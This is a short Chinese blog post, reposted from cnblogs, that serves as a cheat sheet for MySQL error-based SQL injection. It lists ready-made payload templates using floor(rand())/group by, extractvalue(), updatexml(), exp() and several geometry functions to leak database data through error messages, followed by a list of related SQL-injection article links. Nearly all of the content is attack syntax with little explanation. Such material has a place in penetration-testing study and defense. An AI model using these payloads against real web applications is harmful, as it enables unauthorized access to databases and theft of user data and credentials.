SQL--报错回显注入

1、floor()函数

原理：

利用rand()函数与group()函数的相互冲突，floor()是向下取整函数，floor(9.99)=9.0

语法结构：

username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,你想获取的数据的sql语句)x from information_schema.tables group by x )a) and '1' = '1

2、extractvalue()函数

语法结构：

extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)))

concat中添加要查询的语句

3、updatexml()函数

语法结构：

and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、exp()函数

语法结构：

and EXP(~(SELECT * from(select user())a))

5、归类

GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

转载于:https://www.cnblogs.com/ldsec/p/5792464.html

SQL--报错回显注入相关推荐

【漏洞发现-sql注入】有回显注入--sqli-labs
一.漏洞描述数据库是对用户数据进行存储以及删除等操作 ,功能是用来组织,存储和管理数据.比如我们网站每一个用户对应的用户名基本信息,账号密码等等,都在服务器用数据库保存.用户通过对网站的操作,请求返 ...
利用sql报错帮助进行sql注入
我们可以利用sql报错帮助进行sql注入,这里以sql server 为例: sql查询时,若用group by子句时,该子句中的字段必须跟select 条件中的字段(非聚合函数)完全匹配,如果是se ...
sql注入-回显注入实例详解
根据前面对sql注入流程的说明https://blog.csdn.net/CPriLuke/article/details/106961748 本章主要对说明的内容通过实战的方式进一步加深,实战环境 ...
84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录一.高级注入技巧 dnslog无回显注入 1.原理 2.dnslog平台 3.MySQL dnslog无回显注入 ...
Xshell安装sql报错：The GPG keys listed for the “MySQL 8.0 Community Server“ repository are already instal
文章目录 Xshell安装sql报错:The GPG keys listed for the "MySQL 8.0 Community Server" repository are ...
Xshell安装sql报错：······ RSA sha1 ((MD5) PGP) md5 NOT OK (MISSING KEYS: (MD5) PGP#3a79bd29)
文章目录 Xshell安装sql报错:······ RSA sha1 ((MD5) PGP) md5 NOT OK (MISSING KEYS: (MD5) PGP#3a79bd29) 报错截图: 分 ...
数据库执行sql报错Got a packet bigger than 'max_allowed_packet' bytes及重启mysql
准备在mysql上使用数据库A,但mysql5经过重装后,上面的数据库已丢失,只得通过之前备份的A.sql重新生成数据库A. 1.执行sql报错在执行A.sql的过程中,出现如下错误:Got a p ...
DB2 sql报错后查证原因与解决问题的方法
DB2 sql报错后查证原因与解决问题的方法参考文章: (1)DB2 sql报错后查证原因与解决问题的方法 (2)https://www.cnblogs.com/BradMiller/p/31978 ...
一篇文章让你解决sql报错check the manual that corresponds to your MySQL server version for the right syntax to
一篇文章让你解决sql报错反馈因为这一个问题,找到了很多类似问题,你在看到这篇博客时,可能不是这个,但是一定是下面其中一个: Mysql错误:check the manual that corre ...
mybatis-plus自定义sql报错 ew.customSqlSegment
mybatis-plus自定义sql报错: org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibat ...

SQL--报错回显注入

SQL--报错回显注入相关推荐

最新文章

热门文章